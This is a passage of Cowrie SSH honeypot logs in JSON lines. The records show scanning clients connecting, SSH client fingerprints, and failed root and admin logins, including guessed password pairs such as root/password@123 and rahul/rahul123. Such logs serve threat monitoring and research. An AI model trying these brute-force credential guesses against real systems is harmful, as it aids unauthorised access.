mac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:14.418514Z","src_ip":"115.91.48.142","session":"6e96c71c2a41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@123","message":"login attempt [root/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:15.245725Z","src_ip":"115.91.48.142","session":"6e96c71c2a41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:16.448942Z","src_ip":"115.91.48.142","session":"6e96c71c2a41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":51322,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b1893da67f0","protocol":"ssh","message":"New connection: 40.117.97.0:51322 (10.17.0.5:22) [session: 7b1893da67f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:16.869144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:16.874109Z","src_ip":"40.117.97.0","session":"7b1893da67f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:16.899969Z","src_ip":"40.117.97.0","session":"7b1893da67f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"donkey","message":"login attempt [root/donkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:16.991263Z","src_ip":"40.117.97.0","session":"7b1893da67f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42878,"dst_ip":"159.203.135.109","dst_port":22,"session":"bffdc8474642","protocol":"ssh","message":"New connection: 193.32.162.151:42878 (159.203.135.109:22) [session: bffdc8474642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:17.765869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:17.770796Z","src_ip":"193.32.162.151","session":"bffdc8474642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:17.881426Z","src_ip":"193.32.162.151","session":"bffdc8474642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:18.005659Z","src_ip":"40.117.97.0","session":"7b1893da67f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"user","message":"login attempt [admin/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:18.240304Z","src_ip":"193.32.162.151","session":"bffdc8474642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:19.349928Z","src_ip":"193.32.162.151","session":"bffdc8474642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":56458,"dst_ip":"10.17.0.5","dst_port":22,"session":"469b7daab951","protocol":"ssh","message":"New connection: 15.204.225.76:56458 (10.17.0.5:22) [session: 469b7daab951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:24.364346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:24.368338Z","src_ip":"15.204.225.76","session":"469b7daab951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:24.378470Z","src_ip":"15.204.225.76","session":"469b7daab951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234..","message":"login attempt [root/1234..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:24.454449Z","src_ip":"15.204.225.76","session":"469b7daab951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:25.472498Z","src_ip":"15.204.225.76","session":"469b7daab951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":34672,"dst_ip":"10.17.0.5","dst_port":22,"session":"9016c9875c2b","protocol":"ssh","message":"New connection: 150.109.20.59:34672 (10.17.0.5:22) [session: 9016c9875c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:27.973383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:27.977893Z","src_ip":"150.109.20.59","session":"9016c9875c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:28.223680Z","src_ip":"150.109.20.59","session":"9016c9875c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"rahul123","message":"login attempt [rahul/rahul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:29.236229Z","src_ip":"150.109.20.59","session":"9016c9875c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38092,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f9577e289ac","protocol":"ssh","message":"New connection: 103.153.68.219:38092 (159.203.135.109:22) [session: 9f9577e289ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:29.316701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:29.321298Z","src_ip":"103.153.68.219","session":"9f9577e289ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:29.571227Z","src_ip":"103.153.68.219","session":"9f9577e289ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbn123","message":"login attempt [root/zxcvbn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:30.316859Z","src_ip":"103.153.68.219","session":"9f9577e289ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:30.483311Z","src_ip":"150.109.20.59","session":"9016c9875c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:31.568989Z","src_ip":"103.153.68.219","session":"9f9577e289ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.26.188.219","src_port":14712,"dst_ip":"10.17.0.5","dst_port":22,"session":"694dc3099813","protocol":"ssh","message":"New connection: 200.26.188.219:14712 (10.17.0.5:22) [session: 694dc3099813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:42.356755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:42.361759Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:42.489298Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:95:31:b9:90:69:61:f8:e6:72:f9:91:56:2b:7c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCMlWA2RwQZKmRWmK0ciJDhh4HGrKS+aNZQdgCfIltP2Nltnq28RZ6ytdYZ9s0eUqMjk3onbEFkf0OlBUqgOoJSLuuwiCdBCrxr6ThAOSwgiYMso8H0IVU2f66BUB34ulDRFhxTmFX/67siUv8VCTcfK/EJwQPE+nS+f3yWgj7sBIRlGKt/ZLoZd3B+jXdcuLcKlFkl8SOjXGY2RdDFlbVv6b33hZa1rFfzTCeUFk3lhnIhr1vvslX94QRxcyatQe8GxIwuUGlyl4oQmRk7cqgfdzdVZ5ZGiVp0c4P2zepeHZNWuR5/OEIt1WHZYC4S8k+WUtw+++iiMB61flSav+b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:95:31:b9:90:69:61:f8:e6:72:f9:91:56:2b:7c:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.091454Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:95:31:b9:90:69:61:f8:e6:72:f9:91:56:2b:7c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCMlWA2RwQZKmRWmK0ciJDhh4HGrKS+aNZQdgCfIltP2Nltnq28RZ6ytdYZ9s0eUqMjk3onbEFkf0OlBUqgOoJSLuuwiCdBCrxr6ThAOSwgiYMso8H0IVU2f66BUB34ulDRFhxTmFX/67siUv8VCTcfK/EJwQPE+nS+f3yWgj7sBIRlGKt/ZLoZd3B+jXdcuLcKlFkl8SOjXGY2RdDFlbVv6b33hZa1rFfzTCeUFk3lhnIhr1vvslX94QRxcyatQe8GxIwuUGlyl4oQmRk7cqgfdzdVZ5ZGiVp0c4P2zepeHZNWuR5/OEIt1WHZYC4S8k+WUtw+++iiMB61flSav+b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.095264Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:31:bd:a9:e4:3b:e6:ab:11:76:01:25:41:97:e2:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyjewfacDG5KJmhphuiMv+ZtZeMDPd+0KnBUN5eXZyV7YtBzbcySttQxMhYaKk61fMGkQ/+aayj3AnQOqac5LmkBQTIz2TTyyYLbZY/PpdpouBd0L8kPQdwMdqL9z9x4+6pO07VEAy2WGngHBVCIxlX46FlkhQyGGUKgedffXmm0oiyXvUupNIQWxZholGiu+sy7xU+NLQKghNkD4VRu5d8szAyz1+D7+X9lv43LNzWKsDT7oxM/6G1GRqg7Rm7jGI7bNPCQ2ohBQmPTPnLnuC7Mb+TqmoeMuNf+qhXjPjg7N94G/5Wud3s049yOGTPD2H6hfhqAYOLmPqJJ2vUd+/X5gPyTAoyhplkxOaHVlGkpVUau+x/NgwLfi7JQBkuwu6B6UKZy79zugqfYpzjKtBShFOLtauhcyFnBOo1vLzBcz0Xrb8O5fyIItjnXk07Zqp+WqPXRDpppZ2pccv16vHJ80c3qOvQUl1N5u5gZ4dIebP1EE1UR5vvYGQcRr/ag17hK36MzNSOZNjjZ32qC9UrvDgeZj+BUoYkzExt8+9gpyxtrgaUrEGpIEhthwj9/aF6y162FFm5mPUzL2UzIByM30qLWEWlWE+EbN6Zpfn1StSRR8blg3JkZr4Bb4O+c9leE4d3tLjgot6T+2bMUhk08N/61B7CtUlj8A1E+G65w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:31:bd:a9:e4:3b:e6:ab:11:76:01:25:41:97:e2:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.222067Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:31:bd:a9:e4:3b:e6:ab:11:76:01:25:41:97:e2:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyjewfacDG5KJmhphuiMv+ZtZeMDPd+0KnBUN5eXZyV7YtBzbcySttQxMhYaKk61fMGkQ/+aayj3AnQOqac5LmkBQTIz2TTyyYLbZY/PpdpouBd0L8kPQdwMdqL9z9x4+6pO07VEAy2WGngHBVCIxlX46FlkhQyGGUKgedffXmm0oiyXvUupNIQWxZholGiu+sy7xU+NLQKghNkD4VRu5d8szAyz1+D7+X9lv43LNzWKsDT7oxM/6G1GRqg7Rm7jGI7bNPCQ2ohBQmPTPnLnuC7Mb+TqmoeMuNf+qhXjPjg7N94G/5Wud3s049yOGTPD2H6hfhqAYOLmPqJJ2vUd+/X5gPyTAoyhplkxOaHVlGkpVUau+x/NgwLfi7JQBkuwu6B6UKZy79zugqfYpzjKtBShFOLtauhcyFnBOo1vLzBcz0Xrb8O5fyIItjnXk07Zqp+WqPXRDpppZ2pccv16vHJ80c3qOvQUl1N5u5gZ4dIebP1EE1UR5vvYGQcRr/ag17hK36MzNSOZNjjZ32qC9UrvDgeZj+BUoYkzExt8+9gpyxtrgaUrEGpIEhthwj9/aF6y162FFm5mPUzL2UzIByM30qLWEWlWE+EbN6Zpfn1StSRR8blg3JkZr4Bb4O+c9leE4d3tLjgot6T+2bMUhk08N/61B7CtUlj8A1E+G65w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.225822Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:30:e9:e2:32:90:95:89:31:75:68:b0:64:56:d5:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVlsob7501ax6gL9IWyn9tf17sGm3us8QUBHR+Ue4GSCVPBS+Mw9sw6oGyN7/cGpr8JOsxvPBiJCiWuiJe6FkGFpPCceC3dabzTtA5XVmh7t6uayMD9PjDMONduJ40Vfuem1/RQ2inFf9PRLyf6mPKtIOID50mp/pNuopL0X2eZvIkOhbNsIPRR88P7h8DSDH7p4vFEI8jGTuQdYqbP+TLUldEOOkymLCQs+dly5DjSr7JVguFQjtUHQ3XASnRnsRMafXy5v8yNdq9tu9t/aLN7doNamKCx5cznvTB+6eiKnw2mARwbIaHg2ZHYkme2AFVHplCbnfh2TEwwqcvj7eFW9swchiEve7da9KjlQzCO7skJR0ldm5Aq/hMhsxx2GE5EfAI3myU7FaIGFNdQzOoX+qXQVEgzvxSd1VPjCcdCRpLM8lK+HbW2ygTabud408yYjRp4Dz+awKf+ahBBweFJq4FE+6KMzcjduYSpHF/IJZb7K/to5AC9hXE/bpp1uUX9vCzTEbRd7mQ4+43QfaAtwixv2Aqax+CwTmdR+/v7Myk1qUqA/W3e/6rI0wCYuI4xHiV12FlxohwIGw4w5+DWGjHsvEioJ3svn/SfWJ5loGeZc4bbEA7xHTPEvdoGWAXhTNbAjX0OY5fuZAwnimYadQUzFtfAxv7fj9CXNvf2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 